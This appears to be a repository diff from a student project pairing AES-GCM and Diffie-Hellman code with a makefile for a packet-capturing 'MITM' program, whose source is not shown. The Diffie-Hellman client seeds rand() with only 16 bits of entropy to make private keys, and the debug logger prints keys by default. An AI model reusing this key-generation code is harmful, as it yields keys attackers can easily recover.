static void aes_gcm_ghash(const aes_uchar *H, const aes_uchar *aad, size_t aad_len,
const aes_uchar *crypt, size_t crypt_len, aes_uchar *S)
{
aes_uchar len_buf[16];
/*
* u = 128 * ceil[len(C)/128] - len(C)
* v = 128 * ceil[len(A)/128] - len(A)
* S = GHASH_H(A || 0^v || C || 0^u || [len(A)]64 || [len(C)]64)
* (i.e., zero padded to block size A || C and lengths of each in bits)
*/
ghash_start(S);
ghash(H, aad, aad_len, S);
ghash(H, crypt, crypt_len, S);
AES_PUT_BE64(len_buf, aad_len * 8);
AES_PUT_BE64(len_buf + 8, crypt_len * 8);
ghash(H, len_buf, sizeof(len_buf), S);
aes_hexdump_key(MSG_EXCESSIVE, "S = GHASH_H(...)", S, 16);
}
/**
* aes_gcm_ae - GCM-AE_K(IV, P, A)
*/
int aes_gcm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *tag)
{
aes_uchar H[AES_BLOCK_SIZE];
aes_uchar J0[AES_BLOCK_SIZE];
aes_uchar S[16];
void *aes;
aes = aes_gcm_init_hash_subkey(key, key_len, H);
if (aes == NULL)
return -1;
aes_gcm_prepare_j0(iv, iv_len, H, J0);
/* C = GCTR_K(inc_32(J_0), P) */
aes_gcm_gctr(aes, J0, plain, plain_len, crypt);
aes_gcm_ghash(H, aad, aad_len, crypt, plain_len, S);
/* T = MSB_t(GCTR_K(J_0, S)) */
aes_gctr(aes, J0, S, sizeof(S), tag);
/* Return (C, T) */
aes_encrypt_deinit(aes);
return 0;
}
/**
* aes_gcm_ad - GCM-AD_K(IV, C, A, T)
*/
int aes_gcm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag, aes_uchar *plain)
{
aes_uchar H[AES_BLOCK_SIZE];
aes_uchar J0[AES_BLOCK_SIZE];
aes_uchar S[16], T[16];
void *aes;
aes = aes_gcm_init_hash_subkey(key, key_len, H);
if (aes == NULL)
return -1;
aes_gcm_prepare_j0(iv, iv_len, H, J0);
/* P = GCTR_K(inc_32(J_0), C) */
aes_gcm_gctr(aes, J0, crypt, crypt_len, plain);
aes_gcm_ghash(H, aad, aad_len, crypt, crypt_len, S);
/* T' = MSB_t(GCTR_K(J_0, S)) */
aes_gctr(aes, J0, S, sizeof(S), T);
aes_encrypt_deinit(aes);
if (memcmp(tag, T, 16) != 0) {
aes_printf(MSG_EXCESSIVE, "GCM: Tag mismatch");
return -1;
}
return 0;
}
int aes_gmac(const aes_uchar *key, size_t key_len, const aes_uchar *iv, size_t iv_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *tag)
{
return aes_gcm_ae(key, key_len, iv, iv_len, NULL, 0, aad, aad_len, NULL, tag);
}

1021
MITM/aes-internal.c Normal file

File diff suppressed because it is too large Load Diff

113
MITM/aes-internal.h Normal file
View File

@ -0,0 +1,113 @@
#ifndef AES_INTERNAL_H
#define AES_INTERNAL_H
extern const aes_uint Te0[256];
extern const aes_uint Te1[256];
extern const aes_uint Te2[256];
extern const aes_uint Te3[256];
extern const aes_uint Te4[256];
extern const aes_uint Td0[256];
extern const aes_uint Td1[256];
extern const aes_uint Td2[256];
extern const aes_uint Td3[256];
extern const aes_uint Td4[256];
extern const aes_uint rcon[10];
extern const aes_uchar Td4s[256];
extern const aes_uchar rcons[10];
#ifndef AES_SMALL_TABLES
#define RCON(i) rcon[(i)]
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) Te1[((i) >> 16) & 0xff]
#define TE2(i) Te2[((i) >> 8) & 0xff]
#define TE3(i) Te3[(i) & 0xff]
#define TE41(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE42(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE421(i) (Te4[((i) >> 16) & 0xff] & 0xff000000)
#define TE432(i) (Te4[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te4[(i) & 0xff] & 0x0000ff00)
#define TE414(i) (Te4[((i) >> 24) & 0xff] & 0x000000ff)
#define TE411(i) (Te4[((i) >> 24) & 0xff] & 0xff000000)
#define TE422(i) (Te4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE433(i) (Te4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE444(i) (Te4[(i) & 0xff] & 0x000000ff)
#define TE4(i) (Te4[(i)] & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) Td1[((i) >> 16) & 0xff]
#define TD2(i) Td2[((i) >> 8) & 0xff]
#define TD3(i) Td3[(i) & 0xff]
#define TD41(i) (Td4[((i) >> 24) & 0xff] & 0xff000000)
#define TD42(i) (Td4[((i) >> 16) & 0xff] & 0x00ff0000)
#define TD43(i) (Td4[((i) >> 8) & 0xff] & 0x0000ff00)
#define TD44(i) (Td4[(i) & 0xff] & 0x000000ff)
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) Td1[(i) & 0xff]
#define TD2_(i) Td2[(i) & 0xff]
#define TD3_(i) Td3[(i) & 0xff]
#else /* AES_SMALL_TABLES */
#define RCON(i) (rcons[(i)] << 24)
static inline aes_uint rotr(aes_uint val, int bits)
{
return (val >> bits) | (val << (32 - bits));
}
#define TE0(i) Te0[((i) >> 24) & 0xff]
#define TE1(i) rotr(Te0[((i) >> 16) & 0xff], 8)
#define TE2(i) rotr(Te0[((i) >> 8) & 0xff], 16)
#define TE3(i) rotr(Te0[(i) & 0xff], 24)
#define TE41(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE42(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE43(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE44(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE421(i) ((Te0[((i) >> 16) & 0xff] << 8) & 0xff000000)
#define TE432(i) (Te0[((i) >> 8) & 0xff] & 0x00ff0000)
#define TE443(i) (Te0[(i) & 0xff] & 0x0000ff00)
#define TE414(i) ((Te0[((i) >> 24) & 0xff] >> 8) & 0x000000ff)
#define TE411(i) ((Te0[((i) >> 24) & 0xff] << 8) & 0xff000000)
#define TE422(i) (Te0[((i) >> 16) & 0xff] & 0x00ff0000)
#define TE433(i) (Te0[((i) >> 8) & 0xff] & 0x0000ff00)
#define TE444(i) ((Te0[(i) & 0xff] >> 8) & 0x000000ff)
#define TE4(i) ((Te0[(i)] >> 8) & 0x000000ff)
#define TD0(i) Td0[((i) >> 24) & 0xff]
#define TD1(i) rotr(Td0[((i) >> 16) & 0xff], 8)
#define TD2(i) rotr(Td0[((i) >> 8) & 0xff], 16)
#define TD3(i) rotr(Td0[(i) & 0xff], 24)
#define TD41(i) (Td4s[((i) >> 24) & 0xff] << 24)
#define TD42(i) (Td4s[((i) >> 16) & 0xff] << 16)
#define TD43(i) (Td4s[((i) >> 8) & 0xff] << 8)
#define TD44(i) (Td4s[(i) & 0xff])
#define TD0_(i) Td0[(i) & 0xff]
#define TD1_(i) rotr(Td0[(i) & 0xff], 8)
#define TD2_(i) rotr(Td0[(i) & 0xff], 16)
#define TD3_(i) rotr(Td0[(i) & 0xff], 24)
#endif /* AES_SMALL_TABLES */
#define GETU32(pt) (((aes_uint)(pt)[0] << 24) ^ \
((aes_uint)(pt)[1] << 16) ^ \
((aes_uint)(pt)[2] << 8) ^ \
((aes_uint)(pt)[3]))
#define PUTU32(ct, st) { \
(ct)[0] = (aes_uchar)((st) >> 24); \
(ct)[1] = (aes_uchar)((st) >> 16); \
(ct)[2] = (aes_uchar)((st) >> 8); \
(ct)[3] = (aes_uchar)(st); }
#define AES_PRIV_SIZE (4 * 4 * 15 + 4)
#define AES_PRIV_NR_POS (4 * 15)
void aes_rijndael_encrypt(const aes_uint rk[], int Nr, const aes_uchar pt[16], aes_uchar ct[16]);
void aes_rijndael_decrypt(const aes_uint rk[], int Nr, const aes_uchar ct[16], aes_uchar pt[16]);
int aes_rijndael_key_setup_dec(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
int aes_rijndael_key_setup_enc(aes_uint rk[], const aes_uchar cipherKey[], size_t keyBits);
#endif /* AES_I_H */

70
MITM/aes.h Normal file
View File

@ -0,0 +1,70 @@
#ifndef AES_H
#define AES_H
#ifdef __cplusplus
extern "C" {
#endif
#define AES_FULL_UNROLL
#define AES_SMALL_TABLES
#define AES_BLOCK_SIZE 16
#include "aes-common.h"
#include "aes-internal.h"
#include "aes-debug.h"
void * aes_encrypt_init(const aes_uchar *key, size_t len);
void aes_encrypt(void *ctx, const aes_uchar *plain, aes_uchar *crypt);
void aes_encrypt_deinit(void *ctx);
void * aes_decrypt_init(const aes_uchar *key, size_t len);
void aes_decrypt(void *ctx, const aes_uchar *crypt, aes_uchar *plain);
void aes_decrypt_deinit(void *ctx);
int AES_WARN_UNUSED_RESULT aes_wrap(const aes_uchar *kek, int n, const aes_uchar *plain, aes_uchar *cipher);
int AES_WARN_UNUSED_RESULT aes_unwrap(const aes_uchar *kek, int n, const aes_uchar *cipher, aes_uchar *plain);
int AES_WARN_UNUSED_RESULT omac1_aes_128_vector(const aes_uchar *key, size_t num_elem,
const aes_uchar *addr[], const size_t *len,
aes_uchar *mac);
int AES_WARN_UNUSED_RESULT omac1_aes_128(const aes_uchar *key, const aes_uchar *data, size_t data_len,
aes_uchar *mac);
int AES_WARN_UNUSED_RESULT aes_128_encrypt_block(const aes_uchar *key, const aes_uchar *in, aes_uchar *out);
int AES_WARN_UNUSED_RESULT aes_128_ctr_encrypt(const aes_uchar *key, const aes_uchar *nonce,
aes_uchar *data, size_t data_len);
int AES_WARN_UNUSED_RESULT aes_128_eax_encrypt(const aes_uchar *key,
const aes_uchar *nonce, size_t nonce_len,
const aes_uchar *hdr, size_t hdr_len,
aes_uchar *data, size_t data_len, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_128_eax_decrypt(const aes_uchar *key,
const aes_uchar *nonce, size_t nonce_len,
const aes_uchar *hdr, size_t hdr_len,
aes_uchar *data, size_t data_len, const aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_128_cbc_encrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
size_t data_len);
int AES_WARN_UNUSED_RESULT aes_128_cbc_decrypt(const aes_uchar *key, const aes_uchar *iv, aes_uchar *data,
size_t data_len);
int AES_WARN_UNUSED_RESULT aes_gcm_ae(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len,
aes_uchar *crypt, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_gcm_ad(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *tag,
aes_uchar *plain);
int AES_WARN_UNUSED_RESULT aes_gmac(const aes_uchar *key, size_t key_len,
const aes_uchar *iv, size_t iv_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *tag);
int AES_WARN_UNUSED_RESULT aes_ccm_ae(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
size_t M, const aes_uchar *plain, size_t plain_len,
const aes_uchar *aad, size_t aad_len, aes_uchar *crypt, aes_uchar *auth);
int AES_WARN_UNUSED_RESULT aes_ccm_ad(const aes_uchar *key, size_t key_len, const aes_uchar *nonce,
size_t M, const aes_uchar *crypt, size_t crypt_len,
const aes_uchar *aad, size_t aad_len, const aes_uchar *auth,
aes_uchar *plain);
#ifdef __cplusplus
}
#endif
#endif /* AES_H */

8
MITM/makefile Normal file
View File

@ -0,0 +1,8 @@
MITM:MITM.c aes-debug.o aes-gcm.o aes-internal.o
gcc MITM.c -o MITM aes-debug.o aes-gcm.o aes-internal.o -l gmp -l pcap
aes-debug.o:aes-debug.c
gcc -c aes-debug.c -o aes-debug.o
aes-gcm.o:aes-gcm.c
gcc -c aes-gcm.c -o aes-gcm.o
aes-internal.o:aes-internal.c
gcc -c aes-internal.c -o aes-internal.o

142
client/Diffie_hellman.c Normal file
View File

@ -0,0 +1,142 @@
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <gmp.h>
#include <string.h>
typedef struct{
mpz_t prime;
mpz_t base;
mpz_t private_key;
mpz_t public_key;
mpz_t key; //g^(AB)
FILE *urand;
}Dh_key;
void generate_random(size_t sz, unsigned char* random_bytes,Dh_key* dhk)
{
unsigned int init_random = 0;
size_t i = 0;
if(0 == sz || NULL == random_bytes)
{
fprintf(stderr, "Wrong params for generate_random()\n");
exit(1);
}
init_random ^= ((unsigned int)fgetc(dhk->urand) << 8)|fgetc(dhk->urand);
srand(init_random);
for(i = 0; i < sz; i++)
{
random_bytes[i] = rand();
}
}
void print_hex(unsigned char* value, unsigned int len){
//printf("%d:",len);
printf("exchange key:");
for(int i=0;i<len;i++)
printf("%02x ",value[i]);
puts("");
}
char* str2hex(char *hexStr){
int len=strlen(hexStr)/2;
unsigned char * hexvalue=(unsigned char*)malloc(len*sizeof(char));
memset(hexvalue,0,len);
for(int i=0;i<len;i++){
if(hexStr[i*2]<='9'){
hexvalue[i]=(hexStr[i*2]-'0')*16;
}else
hexvalue[i]=(hexStr[i*2]-87)*16; //aµÄÂëÊÇ97
if(hexStr[i*2+1]<='9'){
hexvalue[i]+=(hexStr[i*2+1]-'0');
}else
hexvalue[i]+=(hexStr[i*2+1]-87);
}
return hexvalue;
}
void generate_key(size_t sz, Dh_key* dhk)
{
unsigned char* random_bytes = NULL;
if(0 == sz || NULL == dhk->private_key)
{
fprintf(stderr, "Wrong params for generate_key()\n");
exit(1);
}
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
if(NULL == random_bytes)
{
fprintf(stderr, "Failed to allocate random bytes array for the private key\n");
exit(1);
}
generate_random(sz, random_bytes, dhk);
mpz_import(dhk->private_key, 1, -1, sz, -1, 0, (const void*)random_bytes);
free(random_bytes);
}
void init_prime(size_t sz,Dh_key* dhk)
{
mpz_t tmp;
mpz_t x;
unsigned char* random_bytes = NULL;
if(0 == sz)
{
fprintf(stderr, "Wrong params for init_prime()\n");
exit(1);
}
mpz_init(tmp);
mpz_init(x);
random_bytes = (unsigned char *)malloc(sz*sizeof(unsigned char));
if(NULL == random_bytes)
{
fprintf(stderr, "Failed to allocate random bytes array for the prime number\n");
exit(1);
}
while (1)
{
generate_random(sz, random_bytes,dhk);
random_bytes[sz-1] |= (unsigned char)0x40;
random_bytes[0] |= (unsigned char)1;
mpz_import(tmp, 1, -1, sz, -1, 0, (const void*)random_bytes);
while (0 == mpz_probab_prime_p(tmp, 10))
{
mpz_add_ui(tmp, tmp, 2);
}
mpz_mul_ui(dhk->prime, tmp, 2);
mpz_add_ui(dhk->prime, dhk->prime, 1);
if (0 != mpz_probab_prime_p(dhk->prime, 10))
{
break;
}
}
free(random_bytes);
mpz_set_ui(dhk->base, (unsigned long)2);
mpz_clear(tmp);
mpz_clear(x);
}
void init_numbers(Dh_key* dhk)
{
mpz_init(dhk->key);
mpz_init(dhk->prime);
mpz_init(dhk->base);
mpz_init(dhk->private_key);
mpz_init(dhk->public_key);
}
void clear_numbers(Dh_key* dhk)
{
mpz_clear(dhk->key);
mpz_clear(dhk->prime);
mpz_clear(dhk->base);
mpz_clear(dhk->private_key);
mpz_clear(dhk->public_key);
}

246
client/aes-common.h Normal file
View File

@ -0,0 +1,246 @@
#ifndef AES_COMMON_H
#define AES_COMMON_H
#include <ctype.h>
#include <stdlib.h>
#include <stdio.h>
#include <stdarg.h>
#include <string.h>
/* integer types */
typedef unsigned char aes_uchar;
typedef unsigned short aes_ushort;
typedef unsigned int aes_uint;
typedef unsigned long long aes_ulong;
typedef signed char aes_char;
typedef signed short aes_short;
typedef signed int aes_int;
typedef signed long long aes_long;
/* byte order */
#if defined(__linux__) || defined(__GLIBC__)
#include <endian.h>
#include <byteswap.h>
#endif /* defined(__linux__) || defined(__GLIBC__) */
#if defined(__FreeBSD__) || defined(__NetBSD__) || \
defined(__DragonFly__) || defined(__OpenBSD__)
#include <sys/types.h>
#include <sys/endian.h>
#define __BYTE_ORDER _BYTE_ORDER
#define __LITTLE_ENDIAN _LITTLE_ENDIAN
#define __BIG_ENDIAN _BIG_ENDIAN
#endif /* defined(__FreeBSD__) || defined(__NetBSD__) ||
* defined(__DragonFly__) || defined(__OpenBSD__) */
#ifdef sun
#include <sys/isa_defs.h>
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#ifdef _LITTLE_ENDIAN
#define __BYTE_ORDER __LITTLE_ENDIAN
#else
#define __BYTE_ORDER __BIG_ENDIAN
#endif
#endif
#ifdef _MSC_VER
#define inline __inline
#define __LITTLE_ENDIAN 1234
#define __BIG_ENDIAN 4321
#define __BYTE_ORDER __LITTLE_ENDIAN
#endif /* _MSC_VER */
#ifdef __APPLE__
#include <sys/types.h>
#include <machine/endian.h>
#define __BYTE_ORDER BYTE_ORDER
#define __LITTLE_ENDIAN LITTLE_ENDIAN
#define __BIG_ENDIAN BIG_ENDIAN
#endif /* __APPLE__ */
/* byte swap macros */
#ifndef bswap_16
#define bswap_16(a) ((((aes_ushort) (a) & 0xff00) >> 8) | \
(((aes_ushort) (a) & 0x00ff) << 8))
#endif
#ifndef bswap_32
#if defined __GNUC__
#define bswap_32(a) __builtin_bswap32(a)
#else
#define bswap_32(a) ((((aes_uint) (a) & 0xff000000) >> 24) | \
(((aes_uint) (a) & 0x00ff0000) >> 8) | \
(((aes_uint) (a) & 0x0000ff00) << 8) | \
(((aes_uint) (a) & 0x000000ff) << 24))
#endif
#endif
#ifndef bswap_64
#if defined __GNUC__
#define bswap_64(a) __builtin_bswap64(a)
#else
#define bswap_64(a) ((((aes_ulong) (a) & 0xff00000000000000ull) >> 56) | \
(((aes_ulong) (a) & 0x00ff000000000000ull) >> 40) | \
(((aes_ulong) (a) & 0x0000ff0000000000ull) >> 24) | \
(((aes_ulong) (a) & 0x000000ff00000000ull) >> 8) | \
(((aes_ulong) (a) & 0x00000000ff000000ull) << 8) | \
(((aes_ulong) (a) & 0x0000000000ff0000ull) << 24) | \
(((aes_ulong) (a) & 0x000000000000ff00ull) << 40) | \
(((aes_ulong) (a) & 0x00000000000000ffull) << 56))
#endif
#endif
#if __BYTE_ORDER == __LITTLE_ENDIAN
#define __ENDIAN_LITTLE__ 1 /* OpenCL */
#define le_to_host16(n) (n)
#define host_to_le16(n) (n)
#define be_to_host16(n) bswap_16(n)
#define host_to_be16(n) bswap_16(n)
#define le_to_host32(n) (n)
#define host_to_le32(n) (n)
#define be_to_host32(n) bswap_32(n)
#define host_to_be32(n) bswap_32(n)
#define le_to_host64(n) (n)
#define host_to_le64(n) (n)
#define be_to_host64(n) bswap_64(n)
#define host_to_be64(n) bswap_64(n)
#elif __BYTE_ORDER == __BIG_ENDIAN
#define le_to_host16(n) bswap_16(n)
#define host_to_le16(n) bswap_16(n)
#define be_to_host16(n) (n)
#define host_to_be16(n) (n)
#define le_to_host32(n) bswap_32(n)
#define host_to_le32(n) bswap_32(n)
#define be_to_host32(n) (n)
#define host_to_be32(n) (n)
#define le_to_host64(n) bswap_64(n)
#define host_to_le64(n) bswap_64(n)
#define be_to_host64(n) (n)
#define host_to_be64(n) (n)
#else
#error Could not determine CPU byte order
#endif
/* unaligned memory accesses */
static inline aes_ushort AES_GET_BE16(const aes_uchar *a)
{
return (a[0] << 8) | a[1];
}
static inline void AES_PUT_BE16(aes_uchar *a, aes_ushort val)
{
a[0] = val >> 8;
a[1] = val & 0xff;
}
static inline aes_ushort AES_GET_LE16(const aes_uchar *a)
{
return (a[1] << 8) | a[0];
}
static inline void AES_PUT_LE16(aes_uchar *a, aes_ushort val)
{
a[1] = val >> 8;
a[0] = val & 0xff;
}
static inline aes_uint AES_GET_BE24(const aes_uchar *a)
{
return (a[0] << 16) | (a[1] << 8) | a[2];
}
static inline void AES_PUT_BE24(aes_uchar *a, aes_uint val)
{
a[0] = (val >> 16) & 0xff;
a[1] = (val >> 8) & 0xff;
a[2] = val & 0xff;
}
static inline aes_uint AES_GET_BE32(const aes_uchar *a)
{
return (a[0] << 24) | (a[1] << 16) | (a[2] << 8) | a[3];
}
static inline void AES_PUT_BE32(aes_uchar *a, aes_uint val)
{
a[0] = (val >> 24) & 0xff;
a[1] = (val >> 16) & 0xff;
a[2] = (val >> 8) & 0xff;
a[3] = val & 0xff;
}
static inline aes_uint AES_GET_LE32(const aes_uchar *a)
{
return (a[3] << 24) | (a[2] << 16) | (a[1] << 8) | a[0];
}
static inline void AES_PUT_LE32(aes_uchar *a, aes_uint val)
{
a[3] = (val >> 24) & 0xff;
a[2] = (val >> 16) & 0xff;
a[1] = (val >> 8) & 0xff;
a[0] = val & 0xff;
}
static inline aes_ulong AES_GET_BE64(const aes_uchar *a)
{
return (((aes_ulong) a[0]) << 56) | (((aes_ulong) a[1]) << 48) |
(((aes_ulong) a[2]) << 40) | (((aes_ulong) a[3]) << 32) |
(((aes_ulong) a[4]) << 24) | (((aes_ulong) a[5]) << 16) |
(((aes_ulong) a[6]) << 8) | ((aes_ulong) a[7]);
}
static inline void AES_PUT_BE64(aes_uchar *a, aes_ulong val)
{
a[0] = val >> 56;
a[1] = val >> 48;
a[2] = val >> 40;
a[3] = val >> 32;
a[4] = val >> 24;
a[5] = val >> 16;
a[6] = val >> 8;
a[7] = val & 0xff;
}
static inline aes_ulong AES_GET_LE64(const aes_uchar *a)
{
return (((aes_ulong) a[7]) << 56) | (((aes_ulong) a[6]) << 48) |
(((aes_ulong) a[5]) << 40) | (((aes_ulong) a[4]) << 32) |
(((aes_ulong) a[3]) << 24) | (((aes_ulong) a[2]) << 16) |
(((aes_ulong) a[1]) << 8) | ((aes_ulong) a[0]);
}
static inline void AES_PUT_LE64(aes_uchar *a, aes_ulong val)
{
a[7] = val >> 56;
a[6] = val >> 48;
a[5] = val >> 40;
a[4] = val >> 32;
a[3] = val >> 24;
a[2] = val >> 16;
a[1] = val >> 8;
a[0] = val & 0xff;
}
/* function attribute macros */
#ifndef AES_WARN_UNUSED_RESULT
#if defined __GNUC__
#define AES_WARN_UNUSED_RESULT __attribute__((__warn_unused_result__))
#else
#define AES_WARN_UNUSED_RESULT
#endif /* __GNUC__ */
#endif /* AES_WARN_UNUSED_RESULT */
#endif /* AES_COMMON_H */

166
client/aes-debug.c Normal file
View File

@ -0,0 +1,166 @@
#define AES_DEBUG
#include "aes.h"
int aes_debug_level = MSG_EXCESSIVE;
int aes_debug_show_keys = 1;
int aes_debug_timestamp = 1;
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
#include <time.h>
#include <windows.h>
const __int64 DELTA_EPOCH_IN_MICROSECS= 11644473600000000;
int gettimeofday(struct timeval *tv, struct timezone *tz)
{
FILETIME ft;
__int64 tmpres = 0;
TIME_ZONE_INFORMATION tz_winapi;
int ret = 0;
ZeroMemory(&ft,sizeof(ft));
ZeroMemory(&tz_winapi,sizeof(tz_winapi));
GetSystemTimeAsFileTime(&ft);
tmpres = ft.dwHighDateTime;
tmpres <<= 32;
tmpres |= ft.dwLowDateTime;
/*converting file time to unix epoch*/
tmpres /= 10; /*convert into microseconds*/
tmpres -= DELTA_EPOCH_IN_MICROSECS;
tv->tv_sec = (__int32)(tmpres*0.000001);
tv->tv_usec =(tmpres%1000000);
if (tz) {
ret = GetTimeZoneInformation(&tz_winapi);
tz->tz_dsttime = (ret == 2) ? true : false;
tz->tz_minuteswest = tz_winapi.Bias + ((rez==2)?tz_winapi.DaylightBias:0);
}
return 0;
}
#endif
void aes_debug_print_timestamp(void)
{
struct timeval tv;
if (!aes_debug_timestamp)
return;
gettimeofday(&tv, NULL);
printf("%ld.%06u: ", (long) tv.tv_sec, (unsigned int) tv.tv_usec);
}
void aes_printf(int level, const char *fmt, ...)
{
va_list ap;
va_start(ap, fmt);
if (level >= aes_debug_level) {
aes_debug_print_timestamp();
vprintf(fmt, ap);
printf("\n");
}
va_end(ap);
}
static void _aes_hexdump(int level, const char *title, const aes_uchar *buf,
size_t len, int show)
{
size_t i;
if (level < aes_debug_level)
return;
aes_debug_print_timestamp();
printf("%s - hexdump(len=%lu):", title, (unsigned long) len);
if (buf == NULL) {
printf(" [NULL]");
} else if (show) {
for (i = 0; i < len; i++)
printf(" %02x", buf[i]);
} else {
printf(" [REDACTED]");
}
printf("\n");
}
void aes_hexdump(int level, const char *title, const void *buf, size_t len)
{
_aes_hexdump(level, title, buf, len, 1);
}
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len)
{
_aes_hexdump(level, title, buf, len, aes_debug_show_keys);
}
static void _aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len, int show)
{
size_t i, llen;
const aes_uchar *pos = buf;
const size_t line_len = 16;
if (level < aes_debug_level)
return;
aes_debug_print_timestamp();
if (!show) {
printf("%s - hexdump_ascii(len=%lu): [REDACTED]\n",
title, (unsigned long) len);
return;
}
if (buf == NULL) {
printf("%s - hexdump_ascii(len=%lu): [NULL]\n",
title, (unsigned long) len);
return;
}
printf("%s - hexdump_ascii(len=%lu):\n", title, (unsigned long) len);
while (len) {
llen = len > line_len ? line_len : len;
printf(" ");
for (i = 0; i < llen; i++)
printf(" %02x", pos[i]);
for (i = llen; i < line_len; i++)
printf(" ");
printf(" ");
for (i = 0; i < llen; i++) {
if (isprint(pos[i]))
printf("%c", pos[i]);
else
printf("_");
}
for (i = llen; i < line_len; i++)
printf(" ");
printf("\n");
pos += llen;
len -= llen;
}
}
void aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len)
{
_aes_hexdump_ascii(level, title, buf, len, 1);
}
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
size_t len)
{
_aes_hexdump_ascii(level, title, buf, len, aes_debug_show_keys);
}

60
client/aes-debug.h Normal file
View File

@ -0,0 +1,60 @@
#ifndef AES_DEBUG_H
#define AES_DEBUG_H
/* gettimeofday */
#if defined(_MSC_VER) || ( defined(__WIN32__) && !defined(__CYGWIN__))
struct timezone
{
int tz_minuteswest; /* minutes west of Greenwich */
int tz_dsttime; /* type of dst correction */
};
struct timeval {
int tv_sec;
int tv_usec;
};
extern int gettimeofday(struct timeval *tv, struct timezone *tz);
#else
#include <sys/time.h>
#endif
/* Debugging function - conditional printf and hex dump */
enum {
MSG_EXCESSIVE, MSG_MSGDUMP, MSG_DEBUG, MSG_INFO, MSG_WARNING, MSG_ERROR
};
extern int aes_debug_level;
extern int aes_debug_show_keys;
extern int aes_debug_timestamp;
#ifndef AES_DEBUG
#define aes_debug_print_timestamp() do { } while (0)
#define aes_printf(args...) do { } while (0)
#define aes_hexdump(l,t,b,le) do { } while (0)
#define aes_hexdump_buf(l,t,b) do { } while (0)
#define aes_hexdump_key(l,t,b,le) do { } while (0)
#define aes_hexdump_buf_key(l,t,b) do { } while (0)
#define aes_hexdump_ascii(l,t,b,le) do { } while (0)
#define aes_hexdump_ascii_key(l,t,b,le) do { } while (0)
#define aes_dbg(args...) do { } while (0)
#else
void aes_debug_print_timestamp(void);
void aes_printf(int level, const char *fmt, ...) __attribute__ ((format (printf, (2), (3))));
void aes_hexdump(int level, const char *title, const void *buf, size_t len);
void aes_hexdump_key(int level, const char *title, const void *buf, size_t len);
void aes_hexdump_ascii(int level, const char *title, const void *buf,
size_t len);
void aes_hexdump_ascii_key(int level, const char *title, const void *buf,
size_t len);
#endif /* AES_DEBUG_STDOUT */
#endif /* AES_DEBUG_H */

312
client/aes-gcm.c Normal file
View File

@ -0,0 +1,312 @@
#include "aes.h"
static void inc32(aes_uchar *block)
{
aes_uint val;
val = AES_GET_BE32(block + AES_BLOCK_SIZE - 4);
val++;
AES_PUT_BE32(block + AES_BLOCK_SIZE - 4, val);
}
static void xor_block(aes_uchar *dst, const aes_uchar *src)
{
aes_uint *d = (aes_uint *) dst;
aes_uint *s = (aes_uint *) src;
*d++ ^= *s++;
*d++ ^= *s++;
*d++ ^= *s++;
*d++ ^= *s++;
}
static void shift_right_block(aes_uchar *v)
{
aes_uint val;
val = AES_GET_BE32(v + 12);
val >>= 1;
if (v[11] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 12, val);
val = AES_GET_BE32(v + 8);
val >>= 1;
if (v[7] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 8, val);
val = AES_GET_BE32(v + 4);
val >>= 1;
if (v[3] & 0x01)
val |= 0x80000000;
AES_PUT_BE32(v + 4, val);
val = AES_GET_BE32(v);
val >>= 1;
AES_PUT_BE32(v, val);
}
/* Multiplication in GF(2^128) */
static void gf_mult(const aes_uchar *x, const aes_uchar *y, aes_uchar *z)
{
aes_uchar v[16];
int i, j;
memset(z, 0, 16); /* Z_0 = 0^128 */
memcpy(v, y, 16); /* V_0 = Y */
for (i = 0; i < 16; i++) {
for (j = 0; j < 8; j++) {
if (x[i] & 1 << (7 - j)) {
/* Z_(i + 1) = Z_i XOR V_i */
xor_block(z, v);
} else {
/* Z_(i + 1) = Z_i */
}
if (v[15] & 0x01) {
/* V_(i + 1) = (V_i >> 1) XOR R */
shift_right_block(v);
/* R = 11100001 || 0^120 */
v[0] ^= 0xe1;
} else {
/* V_(i + 1) = V_i >> 1 */
shift_right_block(v);
}
}
}
}
static void ghash_start(aes_uchar *y)
{
/* Y_0 = 0^128 */
memset(y, 0, 16);
}
